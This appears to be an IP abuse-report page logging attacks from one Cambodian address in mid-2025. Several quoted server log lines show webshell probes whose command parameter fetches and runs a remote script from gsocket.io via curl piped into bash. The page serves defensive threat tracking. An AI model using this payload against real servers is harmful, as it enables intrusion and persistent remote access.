JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

27.96.85.143

Neutral Activity

Abuse Confidence Score

0% Low Risk

16 reports

8 reporters · latest 1 year ago

ISP: EZECOM CO., LTD.
Usage Type: Fixed Line ISP
ASN: AS38901
Domain Name: ezecom.com.kh
Country: 🇰🇭 Cambodia
City: Phnom Penh, Phnom Penh

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

No reports in the last 60 days

27.96.85.143 has been reported 16 times. The most recent report is from 1 year ago.

The full history is preserved below and remains searchable. A 0% score reflects the absence of recent activity, but this is not a guarantee that earlier reports were invalid. Abuse confidence score decays, naturally, over time, when the abusive activity stops.

Abuse Reports

Export reports CSV

Total reports

16 from 8 distinct reporters

First reported

June 23rd 2025

Most recent report

1 year ago

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇩🇪 Skyrider	2025-07-06 00:56:52 UTC · (1 year ago)	27.96.85.143 - - [06/Jul/2025:02:56:35 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [06/Jul/2025:02:56:36 +0200 ... show more 27.96.85.143 - - [06/Jul/2025:02:56:35 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [06/Jul/2025:02:56:36 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [06/Jul/2025:02:56:38 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [06/Jul/2025:02:56:40 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [06/Jul/2025:02:56:52 +0200] "GET /exec.php?exec=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" show less	Bad Web Bot Web App Attack
🇺🇸 kosada.com	2025-07-03 09:21:04 UTC · (1 year ago)	Web vulnerability probing	Web App Attack
🇲🇽 kuro1730	2025-06-30 20:06:00 UTC · (1 year ago)	WAF Detection	Exploited Host Web App Attack
🇩🇪 Skyrider	2025-06-30 13:39:43 UTC · (1 year ago)	27.96.85.143 - - [30/Jun/2025:15:39:34 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [30/Jun/2025:15:39:36 +0200 ... show more 27.96.85.143 - - [30/Jun/2025:15:39:34 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [30/Jun/2025:15:39:36 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [30/Jun/2025:15:39:38 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [30/Jun/2025:15:39:41 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [30/Jun/2025:15:39:42 +0200] "GET /exec.php?exec=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" show less	Bad Web Bot Web App Attack
🇩🇪 Skyrider	2025-06-29 16:23:10 UTC · (1 year ago)	27.96.85.143 - - [29/Jun/2025:18:23:00 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [29/Jun/2025:18:23:01 +0200 ... show more 27.96.85.143 - - [29/Jun/2025:18:23:00 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [29/Jun/2025:18:23:01 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [29/Jun/2025:18:23:03 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [29/Jun/2025:18:23:07 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [29/Jun/2025:18:23:09 +0200] "GET /exec.php?exec=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" show less	Bad Web Bot Web App Attack
🇯🇵 VXG-NET	2025-06-29 04:31:16 UTC · (1 year ago)	port=80, indicator_type=code-execution	Hacking
🇩🇪 Skyrider	2025-06-28 14:22:40 UTC · (1 year ago)	27.96.85.143 - - [28/Jun/2025:16:22:31 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [28/Jun/2025:16:22:33 +0200 ... show more 27.96.85.143 - - [28/Jun/2025:16:22:31 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [28/Jun/2025:16:22:33 +0200] "GET /local/moodle_webshell/webshell.php?action=exec&cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [28/Jun/2025:16:22:35 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [28/Jun/2025:16:22:37 +0200] "GET /cmd.php?cmd=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" 27.96.85.143 - - [28/Jun/2025:16:22:40 +0200] "GET /exec.php?exec=bash%20-c%20%22$(curl%20-fsSL%20https://gsocket.io/y)%22 HTTP/2.0" 404 36 "-" "python-requests/2.32.3" show less	Bad Web Bot Web App Attack
Anonymous	2025-06-26 17:31:44 UTC · (1 year ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
🇮🇩 penjaga BRIN	2025-06-26 16:22:58 UTC · (1 year ago)	Possible HTTP Malicious Payload Detection(58098)	Web App Attack
🇮🇩 penjaga BRIN	2025-06-26 13:18:59 UTC · (1 year ago)	nginx-alfa-240	Web App Attack
Anonymous	2025-06-25 08:39:00 UTC · (1 year ago)	php web shell attack	Web App Attack
Anonymous	2025-06-25 00:27:00 UTC · (1 year ago)	curl https://gsocket.io/y	Hacking Brute-Force Web App Attack
Anonymous	2025-06-25 00:18:40 UTC · (1 year ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH
🇮🇩 penjaga BRIN	2025-06-24 11:19:00 UTC · (1 year ago)	apache-alfa-111	Web App Attack
Anonymous	2025-06-24 00:02:15 UTC · (1 year ago)	Ports: 80,443; Direction: 0; Trigger: LF_CUSTOMTRIGGER	Brute-Force SSH

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇺🇸 73.54.154.70

🇩🇪 62.204.49.178

🇨🇱 201.188.183.188

🇵🇾 181.94.226.26

🇺🇸 165.22.150.134

🇺🇸 147.185.132.93

🇮🇹 81.56.131.88

🇺🇸 74.7.227.147

🇲🇽 66.253.74.111

🇺🇸 35.174.141.243

🇺🇸 34.132.146.139

🇧🇪 34.38.248.210

🇺🇸 3.208.193.5

🇺🇸 205.210.31.107

🇳🇱 193.176.31.226

🇩🇪 185.220.100.246

🇺🇸 49.51.188.89

🇺🇸 47.194.24.38

🇺🇸 45.32.77.51

🇨🇳 36.32.3.165